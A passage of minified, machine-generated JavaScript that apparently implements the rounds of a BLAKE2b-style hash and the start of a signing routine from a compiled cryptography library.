at3 | 0) >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5) | 0, m5 = a5 = (d5 = h5 + m5 | 0) >>> 0 < m5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(d5 ^ Z3, a5 ^ P5, 32), a5 = (S5 = y4) + B5 | 0, P5 = a5 = (B5 = h5 + tt3 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(p5 ^ B5, a5 ^ N6, 40), a5 = A8 + (nt3 = y4) | 0, N6 = p5, a5 = m5 + ((p5 = r11 + p5 | 0) >>> 0 < r11 >>> 0 ? a5 + 1 | 0 : a5) | 0, m5 = p5 + d5 | 0, p5 = S5, S5 = a5 = m5 >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(h5 ^ m5, p5 ^ a5, 48), a5 = (a5 = P5) + (P5 = y4) | 0, R5 = h5 = p5 + B5 | 0, X3 = a5 = h5 >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5, d5 = l5, a5 = b5 + et3 | 0, l5 = a5 = (h5 = w5 + U5 | 0) >>> 0 < w5 >>> 0 ? a5 + 1 | 0 : a5, u5 = ft2(h5 ^ u5, a5 ^ M5, 1), a5 = (w5 = y4) + It3 | 0, a5 = _5 + ((B5 = u5 + rt3 | 0) >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5) | 0, E5 = a5 = (B5 = B5 + E5 | 0) >>> 0 < E5 >>> 0 ? a5 + 1 | 0 : a5, d5 = ft2(d5 ^ B5, a5 ^ O5, 32), _5 = a5 = y4, b5 = u5, a5 = a5 + k5 | 0, a5 = (u5 = d5 + D5 | 0) >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, U5 = u5, u5 ^= b5, b5 = a5, u5 = ft2(u5, a5 ^ w5, 40), a5 = _t3 + (M5 = y4) | 0, a5 = E5 + ((w5 = u5 + it3 | 0) >>> 0 < it3 >>> 0 ? a5 + 1 | 0 : a5) | 0, D5 = _5, _5 = a5 = (E5 = B5 + w5 | 0) >>> 0 < B5 >>> 0 ? a5 + 1 | 0 : a5, w5 = ft2(d5 ^ E5, D5 ^ a5, 48), et3 = a5 = y4, B5 = a5, d5 = ft2(K5 ^ H5, q4 ^ $3, 1), D5 = a5 = y4, k5 = l5, a5 = a5 + vt3 | 0, a5 = L5 + ((l5 = d5 + pt3 | 0) >>> 0 < pt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, v5 = a5 = (l5 = l5 + v5 | 0) >>> 0 < v5 >>> 0 ? a5 + 1 | 0 : a5, Q5 = ft2(g5 ^ l5, a5 ^ Q5, 32), a5 = ($3 = y4) + k5 | 0, k5 = h5 = Q5 + h5 | 0, g5 = ft2(h5 ^ d5, (g5 = D5) ^ (D5 = h5 >>> 0 < Q5 >>> 0 ? a5 + 1 | 0 : a5), 40), a5 = ut3 + (H5 = y4) | 0, a5 = v5 + ((h5 = g5 + J5 | 0) >>> 0 < J5 >>> 0 ? a5 + 1 | 0 : a5) | 0, K5 = h5 = h5 + l5 | 0, q4 = a5 = h5 >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, l5 = a5, a5 = T3 + bt3 | 0, a5 = ((d5 = F5 + gt3 | 0) >>> 0 < gt3 >>> 0 ? a5 + 1 | 0 : a5) + l5 | 0, v5 = a5 = (l5 = h5 + d5 | 0) >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(l5 ^ w5, a5 ^ B5, 32), a5 = (L5 = y4) + X3 | 0, B5 = ft2((d5 = h5 + R5 | 0) ^ F5, (a5 = d5 >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5) ^ T3, 40), O5 = a5, a5 = dt3 + (F5 = y4) | 0, a5 = v5 + ((T3 = B5 + lt3 | 0) >>> 0 < lt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (v5 = l5 + T3 | 0) >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, l5 = L5, L5 = a5, l5 = ft2(h5 ^ v5, l5 ^ a5, 48), a5 = (a5 = O5) + (O5 = y4) | 0, h5 = (d5 = l5 + d5 | 0) ^ B5, B5 = a5 = d5 >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, F5 = a5 = ft2(h5, a5 ^ F5, 1), T3 = h5 = y4, tt3 = I5, Z3 = p5, p5 = g5, g5 = ft2(Q5 ^ K5, q4 ^ $3, 48), a5 = (Q5 = y4) + D5 | 0, D5 = h5 = g5 + k5 | 0, k5 = a5 = h5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(h5 ^ p5, a5 ^ H5, 1), a5 = (H5 = y4) + Qt3 | 0, a5 = _5 + ((h5 = p5 + ot3 | 0) >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5) | 0, E5 = a5 = (I5 = h5 + E5 | 0) >>> 0 < E5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(I5 ^ Z3, a5 ^ P5, 32), a5 = (_5 = y4) + C5 | 0, P5 = a5 = (C5 = h5 + tt3 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(p5 ^ C5, a5 ^ H5, 40), a5 = n9 + ($3 = y4) | 0, H5 = p5, a5 = E5 + ((p5 = mt3 + p5 | 0) >>> 0 < mt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, E5 = p5 + I5 | 0, p5 = _5, _5 = a5 = E5 >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(h5 ^ E5, p5 ^ a5, 48), a5 = (a5 = P5) + (P5 = y4) | 0, K5 = h5 = p5 + C5 | 0, q4 = a5 = h5 >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5, I5 = f5, a5 = b5 + et3 | 0, f5 = a5 = (h5 = w5 + U5 | 0) >>> 0 < w5 >>> 0 ? a5 + 1 | 0 : a5, u5 = ft2(h5 ^ u5, a5 ^ M5, 1), a5 = _t3 + (w5 = y4) | 0, a5 = S5 + ((C5 = u5 + it3 | 0) >>> 0 < it3 >>> 0 ? a5 + 1 | 0 : a5) | 0, m5 = a5 = (C5 = C5 + m5 | 0) >>> 0 < m5 >>> 0 ? a5 + 1 | 0 : a5, I5 = ft2(I5 ^ C5, a5 ^ G5, 32), S5 = a5 = y4, b5 = u5, a5 = a5 + k5 | 0, a5 = (u5 = I5 + D5 | 0) >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5, U5 = u5, u5 ^= b5, b5 = a5, u5 = ft2(u5, a5 ^ w5, 40), a5 = Y5 + (M5 = y4) | 0, a5 = m5 + ((w5 = u5 + ct3 | 0) >>> 0 < ct3 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (m5 = C5 + w5 | 0) >>> 0 < C5 >>> 0 ? a5 + 1 | 0 : a5, C5 = S5, S5 = a5, w5 = ft2(I5 ^ m5, C5 ^ a5, 48), et3 = a5 = y4, C5 = a5, I5 = ft2(N6 ^ R5, X3 ^ nt3, 1), D5 = a5 = y4, k5 = f5, a5 = a5 + kt3 | 0, a5 = W3 + ((f5 = I5 + ht3 | 0) >>> 0 < ht3 >>> 0 ? a5 + 1 | 0 : a5) | 0, x5 = a5 = (f5 = f5 + x5 | 0) >>> 0 < x5 >>> 0 ? a5 + 1 | 0 : a5, Q5 = ft2(g5 ^ f5, a5 ^ Q5, 32), a5 = (nt3 = y4) + k5 | 0, k5 = h5 = Q5 + h5 | 0, g5 = ft2(h5 ^ I5, (g5 = D5) ^ (D5 = h5 >>> 0 < Q5 >>> 0 ? a5 + 1 | 0 : a5), 40), a5 = vt3 + (N6 = y4) | 0, a5 = x5 + ((h5 = g5 + pt3 | 0) >>> 0 < pt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, R5 = h5 = h5 + f5 | 0, X3 = a5 = h5 >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, f5 = a5, a5 = T3 + Ct3 | 0, a5 = ((I5 = F5 + st3 | 0) >>> 0 < st3 >>> 0 ? a5 + 1 | 0 : a5) + f5 | 0, x5 = a5 = (f5 = h5 + I5 | 0) >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(f5 ^ w5, a5 ^ C5, 32), a5 = (W3 = y4) + q4 | 0, C5 = ft2((I5 = h5 + K5 | 0) ^ F5, (a5 = I5 >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5) ^ T3, 40), G5 = a5, a5 = A8 + (F5 = y4) | 0, a5 = x5 + ((T3 = C5 + r11 | 0) >>> 0 < r11 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (x5 = f5 + T3 | 0) >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, f5 = W3, W3 = a5, f5 = ft2(h5 ^ x5, f5 ^ a5, 48), a5 = (a5 = G5) + (G5 = y4) | 0, h5 = (I5 = f5 + I5 | 0) ^ C5, C5 = a5 = I5 >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, F5 = a5 = ft2(h5, a5 ^ F5, 1), T3 = h5 = y4, tt3 = d5, Z3 = p5, p5 = g5, g5 = ft2(Q5 ^ R5, X3 ^ nt3, 48), a5 = (Q5 = y4) + D5 | 0, D5 = h5 = g5 + k5 | 0, k5 = a5 = h5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(h5 ^ p5, a5 ^ N6, 1), a5 = (R5 = y4) + At3 | 0, a5 = S5 + ((h5 = p5 + j5 | 0) >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5) | 0, m5 = a5 = (d5 = h5 + m5 | 0) >>> 0 < m5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(d5 ^ Z3, a5 ^ P5, 32), a5 = (S5 = y4) + B5 | 0, P5 = B5 = h5 + tt3 | 0, N6 = a5 = B5 >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(p5 ^ B5, a5 ^ R5, 40), a5 = Et3 + (tt3 = y4) | 0, R5 = p5, a5 = m5 + ((p5 = V3 + p5 | 0) >>> 0 < V3 >>> 0 ? a5 + 1 | 0 : a5) | 0, B5 = p5 + d5 | 0, p5 = S5, S5 = a5 = B5 >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(h5 ^ B5, p5 ^ a5, 48), a5 = (a5 = N6) + (N6 = y4) | 0, P5 = h5 = p5 + P5 | 0, X3 = a5 = h5 >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5, d5 = l5, a5 = b5 + et3 | 0, l5 = a5 = (h5 = w5 + U5 | 0) >>> 0 < w5 >>> 0 ? a5 + 1 | 0 : a5, u5 = ft2(h5 ^ u5, a5 ^ M5, 1), a5 = (w5 = y4) + z4 | 0, a5 = _5 + ((m5 = e6 + u5 | 0) >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5) | 0, E5 = a5 = (m5 = m5 + E5 | 0) >>> 0 < E5 >>> 0 ? a5 + 1 | 0 : a5, _5 = d5 = ft2(d5 ^ m5, a5 ^ O5, 32), b5 = a5 = y4, U5 = u5, a5 = a5 + k5 | 0, a5 = (u5 = d5 + D5 | 0) >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, M5 = u5, u5 ^= U5, U5 = a5, u5 = ft2(u5, a5 ^ w5, 40), a5 = Bt3 + (D5 = y4) | 0, a5 = E5 + ((d5 = u5 + at3 | 0) >>> 0 < at3 >>> 0 ? a5 + 1 | 0 : a5) | 0, k5 = (d5 = d5 + m5 | 0) ^ _5, _5 = a5 = d5 >>> 0 < m5 >>> 0 ? a5 + 1 | 0 : a5, m5 = ft2(k5, a5 ^ b5, 48), O5 = a5 = y4, w5 = a5, b5 = E5 = ft2(K5 ^ H5, q4 ^ $3, 1), k5 = a5 = y4, H5 = l5, a5 = a5 + ut3 | 0, a5 = L5 + ((l5 = E5 + J5 | 0) >>> 0 < J5 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (l5 = l5 + v5 | 0) >>> 0 < v5 >>> 0 ? a5 + 1 | 0 : a5, v5 = Q5, Q5 = a5, E5 = ft2(g5 ^ l5, v5 ^ a5, 32), a5 = (Z3 = y4) + H5 | 0, v5 = h5 = E5 + h5 | 0, g5 = ft2(g5 = h5 ^ b5, (b5 = h5 >>> 0 < E5 >>> 0 ? a5 + 1 | 0 : a5) ^ k5, 40), a5 = It3 + (k5 = y4) | 0, a5 = Q5 + ((h5 = g5 + rt3 | 0) >>> 0 < rt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, Q5 = h5 = h5 + l5 | 0, H5 = a5 = h5 >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, l5 = a5, a5 = T3 + Et3 | 0, a5 = ((L5 = V3) >>> 0 > (V3 = F5 + V3 | 0) >>> 0 ? a5 + 1 | 0 : a5) + l5 | 0, Et3 = a5 = (h5 = h5 + V3 | 0) >>> 0 < V3 >>> 0 ? a5 + 1 | 0 : a5, V3 = ft2(h5 ^ m5, a5 ^ w5, 32), a5 = (K5 = y4) + X3 | 0, w5 = ft2((l5 = P5 + V3 | 0) ^ F5, (a5 = l5 >>> 0 < V3 >>> 0 ? a5 + 1 | 0 : a5) ^ T3, 40), L5 = a5, a5 = Bt3 + (q4 = y4) | 0, a5 = Et3 + ((F5 = at3) >>> 0 > (at3 = w5 + at3 | 0) >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (at3 = h5 + at3 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, h5 = V3 ^ at3, V3 = a5; - Bt3 = ft2(h5, a5 ^ K5, 48), a5 = (Et3 = y4) + L5 | 0, l5 = a5 = (h5 = l5 + Bt3 | 0) >>> 0 < Bt3 >>> 0 ? a5 + 1 | 0 : a5, a5 = ft2(h5 ^ w5, a5 ^ q4, 1), w5 = y4, K5 = a5, q4 = I5, I5 = rt3, L5 = It3, It3 = ft2(E5 ^ Q5, H5 ^ Z3, 48), a5 = (E5 = y4) + b5 | 0, b5 = I5, v5 = a5 = (rt3 = v5 + It3 | 0) >>> 0 < It3 >>> 0 ? a5 + 1 | 0 : a5, I5 = ft2(g5 ^ (Q5 = rt3), a5 ^ k5, 1), a5 = (k5 = y4) + L5 | 0, a5 = _5 + (I5 >>> 0 > (rt3 = b5 + I5 | 0) >>> 0 ? a5 + 1 | 0 : a5) | 0, g5 = a5 = (rt3 = d5 + rt3 | 0) >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(p5 ^ rt3, a5 ^ N6, 32), a5 = (a5 = C5) + (C5 = y4) | 0, _5 = d5 = p5 + q4 | 0, b5 = a5 = d5 >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5, d5 = ft2(d5 ^ I5, a5 ^ k5, 40), a5 = (k5 = y4) + Qt3 | 0, a5 = (d5 >>> 0 > (ot3 = d5 + ot3 | 0) >>> 0 ? a5 + 1 | 0 : a5) + g5 | 0, g5 = a5 = (g5 = ot3) >>> 0 > (ot3 = rt3 + ot3 | 0) >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(p5 ^ ot3, a5 ^ C5, 48), a5 = (I5 = y4) + b5 | 0, C5 = rt3 = p5 + _5 | 0, Qt3 = a5 = rt3 >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5, _5 = e6, b5 = z4, a5 = U5 + O5 | 0, rt3 = a5 = (e6 = m5 + M5 | 0) >>> 0 < m5 >>> 0 ? a5 + 1 | 0 : a5, z4 = ft2(e6 ^ u5, a5 ^ D5, 1), a5 = (m5 = y4) + b5 | 0, a5 = S5 + ((u5 = _5 + z4 | 0) >>> 0 < z4 >>> 0 ? a5 + 1 | 0 : a5) | 0, f5 = ft2((u5 = u5 + B5 | 0) ^ f5, (a5 = u5 >>> 0 < B5 >>> 0 ? a5 + 1 | 0 : a5) ^ G5, 32), _5 = a5, S5 = st3, st3 = z4, a5 = (B5 = y4) + v5 | 0, v5 = m5, m5 = a5 = (z4 = f5 + Q5 | 0) >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, st3 = ft2(z4 ^ st3, v5 ^ a5, 40), a5 = (Q5 = y4) + Ct3 | 0, a5 = ((Ct3 = S5 + st3 | 0) >>> 0 < st3 >>> 0 ? a5 + 1 | 0 : a5) + _5 | 0, _5 = Ct3, u5 = f5 ^ (Ct3 = u5 + Ct3 | 0), f5 = a5 = _5 >>> 0 > Ct3 >>> 0 ? a5 + 1 | 0 : a5, a5 = ft2(u5, a5 ^ B5, 48), U5 = u5 = y4, B5 = a5, v5 = j5, _5 = At3, j5 = ft2(P5 ^ R5, X3 ^ tt3, 1), b5 = a5 = y4, a5 = a5 + bt3 | 0, a5 = W3 + ((j5 = (S5 = j5) + gt3 | 0) >>> 0 < gt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, gt3 = a5 = (j5 = x5 + j5 | 0) >>> 0 < x5 >>> 0 ? a5 + 1 | 0 : a5, At3 = ft2(j5 ^ It3, a5 ^ E5, 32), a5 = (x5 = y4) + rt3 | 0, rt3 = e6 = At3 + e6 | 0, It3 = ft2(e6 ^ S5, (E5 = e6 >>> 0 < At3 >>> 0 ? a5 + 1 | 0 : a5) ^ b5, 40), a5 = (a5 = _5) + (_5 = y4) | 0, a5 = gt3 + ((e6 = It3 + v5 | 0) >>> 0 < It3 >>> 0 ? a5 + 1 | 0 : a5) | 0, gt3 = e6 = e6 + j5 | 0, bt3 = a5 = e6 >>> 0 < j5 >>> 0 ? a5 + 1 | 0 : a5, j5 = a5, a5 = w5 + _t3 | 0, a5 = ((S5 = it3) >>> 0 > (it3 = K5 + it3 | 0) >>> 0 ? a5 + 1 | 0 : a5) + j5 | 0, _t3 = a5 = (j5 = e6 + it3 | 0) >>> 0 < it3 >>> 0 ? a5 + 1 | 0 : a5, it3 = ft2(B5 ^ j5, a5 ^ u5, 32), a5 = (S5 = y4) + Qt3 | 0, u5 = e6 = it3 + C5 | 0, e6 = ft2(e6 ^ K5, (v5 = w5) ^ (w5 = e6 >>> 0 < it3 >>> 0 ? a5 + 1 | 0 : a5), 40), a5 = kt3 + (b5 = y4) | 0, kt3 = e6, a5 = _t3 + ((e6 = ht3 + e6 | 0) >>> 0 < ht3 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (e6 = e6 + j5 | 0) >>> 0 < j5 >>> 0 ? a5 + 1 | 0 : a5, _t3 = e6, M5 = (c4[t7 + 8 | 0] | c4[t7 + 9 | 0] << 8 | c4[t7 + 10 | 0] << 16 | c4[t7 + 11 | 0] << 24) ^ e6, v5 = a5, D5 = a5 ^ (c4[t7 + 12 | 0] | c4[t7 + 13 | 0] << 8 | c4[t7 + 14 | 0] << 16 | c4[t7 + 15 | 0] << 24), j5 = ft2(At3 ^ gt3, x5 ^ bt3, 48), a5 = (gt3 = y4) + E5 | 0, E5 = e6 = j5 + rt3 | 0, bt3 = a5 = e6 >>> 0 < j5 >>> 0 ? a5 + 1 | 0 : a5, At3 = lt3, a5 = m5 + U5 | 0, lt3 = a5 = (e6 = B5 + z4 | 0) >>> 0 < z4 >>> 0 ? a5 + 1 | 0 : a5, st3 = ft2(e6 ^ st3, a5 ^ Q5, 1), a5 = (B5 = y4) + dt3 | 0, a5 = ((At3 = st3 + At3 | 0) >>> 0 < st3 >>> 0 ? a5 + 1 | 0 : a5) + g5 | 0, At3 = a5 = (dt3 = At3 + ot3 | 0) >>> 0 < At3 >>> 0 ? a5 + 1 | 0 : a5, rt3 = ft2(dt3 ^ Bt3, a5 ^ Et3, 32), a5 = (z4 = y4) + bt3 | 0, ot3 = a5 = (ht3 = rt3 + E5 | 0) >>> 0 < rt3 >>> 0 ? a5 + 1 | 0 : a5, Bt3 = rt3, rt3 = ft2(st3 ^ ht3, a5 ^ B5, 40), a5 = (g5 = y4) + vt3 | 0, a5 = (rt3 >>> 0 > (st3 = rt3 + pt3 | 0) >>> 0 ? a5 + 1 | 0 : a5) + At3 | 0, m5 = z4, z4 = a5 = (dt3 = st3 + dt3 | 0) >>> 0 < st3 >>> 0 ? a5 + 1 | 0 : a5, st3 = ft2(Bt3 ^ (pt3 = dt3), m5 ^ a5, 48), a5 = (B5 = y4) + ot3 | 0, a5 = (At3 = st3 + ht3 | 0) >>> 0 < st3 >>> 0 ? a5 + 1 | 0 : a5, ht3 = At3, At3 ^= M5, s4[t7 + 8 | 0] = At3, s4[t7 + 9 | 0] = At3 >>> 8, s4[t7 + 10 | 0] = At3 >>> 16, s4[t7 + 11 | 0] = At3 >>> 24, ot3 = a5, a5 ^= D5, s4[t7 + 12 | 0] = a5, s4[t7 + 13 | 0] = a5 >>> 8, s4[t7 + 14 | 0] = a5 >>> 16, s4[t7 + 15 | 0] = a5 >>> 24, dt3 = e6, At3 = lt3, e6 = j5, j5 = ft2(d5 ^ C5, k5 ^ Qt3, 1), a5 = (vt3 = y4) + A8 | 0, a5 = (j5 >>> 0 > (lt3 = j5 + r11 | 0) >>> 0 ? a5 + 1 | 0 : a5) + V3 | 0, at3 = a5 = (C5 = lt3) >>> 0 > (lt3 = at3 + lt3 | 0) >>> 0 ? a5 + 1 | 0 : a5, e6 = ft2(e6 ^ lt3, a5 ^ gt3, 32), a5 = (a5 = At3) + (At3 = y4) | 0, gt3 = a5 = (dt3 = e6 + dt3 | 0) >>> 0 < e6 >>> 0 ? a5 + 1 | 0 : a5, Bt3 = e6, dt3 = ft2(j5 ^ (V3 = dt3), a5 ^ vt3, 40), a5 = (d5 = y4) + n9 | 0, a5 = at3 + ((e6 = dt3 + mt3 | 0) >>> 0 < dt3 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (e6 = e6 + lt3 | 0) >>> 0 < lt3 >>> 0 ? a5 + 1 | 0 : a5, at3 = e6, e6 ^= Bt3, Bt3 = a5, lt3 = ft2(e6, a5 ^ At3, 48), a5 = (C5 = y4) + gt3 | 0, V3 = e6 = lt3 + V3 | 0, gt3 = e6 >>> 0 < lt3 >>> 0 ? a5 + 1 | 0 : a5, It3 = e6 = ft2(E5 ^ It3, _5 ^ bt3, 1), vt3 = a5 = y4, a5 = a5 + Y5 | 0, a5 = f5 + ((e6 = e6 + ct3 | 0) >>> 0 < ct3 >>> 0 ? a5 + 1 | 0 : a5) | 0, Y5 = a5 = (j5 = e6 + Ct3 | 0) >>> 0 < Ct3 >>> 0 ? a5 + 1 | 0 : a5, e6 = (At3 = ft2(p5 ^ j5, a5 ^ I5, 32)) + h5 | 0, a5 = (h5 = y4) + l5 | 0, Ct3 = e6, e6 = (ct3 = ft2(f5 = e6 ^ It3, (It3 = e6 >>> 0 < At3 >>> 0 ? a5 + 1 | 0 : a5) ^ vt3, 40)) + J5 | 0, a5 = (J5 = y4) + ut3 | 0, a5 = Y5 + (e6 >>> 0 < ct3 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (Y5 = e6 + j5 | 0) >>> 0 < j5 >>> 0 ? a5 + 1 | 0 : a5, j5 = Y5 ^ St3 ^ V3, s4[0 | (e6 = t7)] = j5, s4[e6 + 1 | 0] = j5 >>> 8, s4[e6 + 2 | 0] = j5 >>> 16, s4[e6 + 3 | 0] = j5 >>> 24, j5 = a5 ^ i4 ^ gt3, s4[e6 + 4 | 0] = j5, s4[e6 + 5 | 0] = j5 >>> 8, s4[e6 + 6 | 0] = j5 >>> 16, s4[e6 + 7 | 0] = j5 >>> 24, j5 = (At3 = ft2(Y5 ^ At3, a5 ^ h5, 48)) + Ct3 | 0, a5 = (Ct3 = y4) + It3 | 0, a5 = (It3 = j5 >>> 0 < At3 >>> 0 ? a5 + 1 | 0 : a5) ^ (c4[e6 + 20 | 0] | c4[e6 + 21 | 0] << 8 | c4[e6 + 22 | 0] << 16 | c4[e6 + 23 | 0] << 24) ^ Bt3, Y5 = (c4[e6 + 16 | 0] | c4[e6 + 17 | 0] << 8 | c4[e6 + 18 | 0] << 16 | c4[e6 + 19 | 0] << 24) ^ at3 ^ j5, s4[e6 + 16 | 0] = Y5, s4[e6 + 17 | 0] = Y5 >>> 8, s4[e6 + 18 | 0] = Y5 >>> 16, s4[e6 + 19 | 0] = Y5 >>> 24, s4[e6 + 20 | 0] = a5, s4[e6 + 21 | 0] = a5 >>> 8, s4[e6 + 22 | 0] = a5 >>> 16, s4[e6 + 23 | 0] = a5 >>> 24, e6 = ft2(it3 ^ _t3, v5 ^ S5, 48), Y5 = y4, at3 = c4[t7 + 36 | 0] | c4[t7 + 37 | 0] << 8 | c4[t7 + 38 | 0] << 16 | c4[t7 + 39 | 0] << 24, a5 = (c4[t7 + 32 | 0] | c4[t7 + 33 | 0] << 8 | c4[t7 + 34 | 0] << 16 | c4[t7 + 35 | 0] << 24) ^ ft2(rt3 ^ ht3, g5 ^ ot3, 1) ^ e6, s4[t7 + 32 | 0] = a5, s4[t7 + 33 | 0] = a5 >>> 8, s4[t7 + 34 | 0] = a5 >>> 16, s4[t7 + 35 | 0] = a5 >>> 24, a5 = y4 ^ at3 ^ Y5, s4[t7 + 36 | 0] = a5, s4[t7 + 37 | 0] = a5 >>> 8, s4[t7 + 38 | 0] = a5 >>> 16, s4[t7 + 39 | 0] = a5 >>> 24, a5 = w5 + Y5 | 0, a5 = (at3 = e6 + u5 | 0) >>> 0 < e6 >>> 0 ? a5 + 1 | 0 : a5, rt3 = (c4[(e6 = t7) + 28 | 0] | c4[e6 + 29 | 0] << 8 | c4[e6 + 30 | 0] << 16 | c4[e6 + 31 | 0] << 24) ^ z4 ^ a5, Y5 = (c4[e6 + 24 | 0] | c4[e6 + 25 | 0] << 8 | c4[e6 + 26 | 0] << 16 | c4[e6 + 27 | 0] << 24) ^ pt3 ^ at3, s4[e6 + 24 | 0] = Y5, s4[e6 + 25 | 0] = Y5 >>> 8, s4[e6 + 26 | 0] = Y5 >>> 16, s4[e6 + 27 | 0] = Y5 >>> 24, s4[e6 + 28 | 0] = rt3, s4[e6 + 29 | 0] = rt3 >>> 8, s4[e6 + 30 | 0] = rt3 >>> 16, s4[e6 + 31 | 0] = rt3 >>> 24, rt3 = c4[e6 + 44 | 0] | c4[e6 + 45 | 0] << 8 | c4[e6 + 46 | 0] << 16 | c4[e6 + 47 | 0] << 24, e6 = lt3 ^ (c4[e6 + 40 | 0] | c4[e6 + 41 | 0] << 8 | c4[e6 + 42 | 0] << 16 | c4[e6 + 43 | 0] << 24) ^ ft2(j5 ^ ct3, J5 ^ It3, 1), s4[t7 + 40 | 0] = e6, s4[t7 + 41 | 0] = e6 >>> 8, s4[t7 + 42 | 0] = e6 >>> 16, s4[t7 + 43 | 0] = e6 >>> 24, e6 = C5 ^ y4 ^ rt3, s4[t7 + 44 | 0] = e6, s4[t7 + 45 | 0] = e6 >>> 8, s4[t7 + 46 | 0] = e6 >>> 16, s4[t7 + 47 | 0] = e6 >>> 24, j5 = c4[t7 + 60 | 0] | c4[t7 + 61 | 0] << 8 | c4[t7 + 62 | 0] << 16 | c4[t7 + 63 | 0] << 24, e6 = At3 ^ (c4[t7 + 56 | 0] | c4[t7 + 57 | 0] << 8 | c4[t7 + 58 | 0] << 16 | c4[t7 + 59 | 0] << 24) ^ ft2(V3 ^ dt3, d5 ^ gt3, 1), s4[t7 + 56 | 0] = e6, s4[t7 + 57 | 0] = e6 >>> 8, s4[t7 + 58 | 0] = e6 >>> 16, s4[t7 + 59 | 0] = e6 >>> 24, e6 = Ct3 ^ y4 ^ j5, s4[t7 + 60 | 0] = e6, s4[t7 + 61 | 0] = e6 >>> 8, s4[t7 + 62 | 0] = e6 >>> 16, s4[t7 + 63 | 0] = e6 >>> 24, j5 = c4[t7 + 52 | 0] | c4[t7 + 53 | 0] << 8 | c4[t7 + 54 | 0] << 16 | c4[t7 + 55 | 0] << 24, e6 = st3 ^ (c4[t7 + 48 | 0] | c4[t7 + 49 | 0] << 8 | c4[t7 + 50 | 0] << 16 | c4[t7 + 51 | 0] << 24) ^ ft2(at3 ^ kt3, a5 ^ b5, 1), s4[t7 + 48 | 0] = e6, s4[t7 + 49 | 0] = e6 >>> 8, s4[t7 + 50 | 0] = e6 >>> 16, s4[t7 + 51 | 0] = e6 >>> 24, e6 = B5 ^ y4 ^ j5, s4[t7 + 52 | 0] = e6, s4[t7 + 53 | 0] = e6 >>> 8, s4[t7 + 54 | 0] = e6 >>> 16, s4[t7 + 55 | 0] = e6 >>> 24; - } - function m4(t7, e6, r11, n9, A8, i4, o5) { - var h5, g5, u5, l5, f5, p5, d5, C5, m5, B5, w5, v5, _5, Q5, b5, k5, S5, N6, M5, x5, F5, P5, T3, R5, U5, L5, O5, Y5, K5, J5, j5, z4, q4, X3, V3, W3, Z3, $3, tt3, et3, rt3, nt3, At3, it3, ot3, st3, at3, ht3, ut3 = 0, lt3 = 0, ft3 = 0, pt3 = 0, dt3 = 0, It3 = 0, yt3 = 0, Ct3 = 0, mt3 = 0, Et3 = 0, wt3 = 0, vt3 = 0, _t3 = 0, Qt3 = 0, kt3 = 0, Dt3 = 0, St3 = 0, Nt3 = 0, Mt3 = 0, xt3 = 0, Ft3 = 0, Pt3 = 0, Tt3 = 0, Rt3 = 0, Ut3 = 0, Gt3 = 0, Ht3 = 0, Lt3 = 0, Ot3 = 0, Yt3 = 0, Kt3 = 0, Jt3 = 0, jt3 = 0, zt3 = 0, qt3 = 0, Xt3 = 0, Vt3 = 0, Wt3 = 0, Zt3 = 0, $t3 = 0, te3 = 0, ee3 = 0, re3 = 0, ne3 = 0, Ae3 = 0, ie3 = 0; - return I4 = u5 = I4 - 560 | 0, gt2(ft3 = u5 + 352 | 0), o5 && G4(ft3, 35136, 34, 0), ct2(u5 + 288 | 0, i4, 32, 0), G4(pt3 = u5 + 352 | 0, u5 + 320 | 0, 32, 0), G4(pt3, r11, n9, A8), 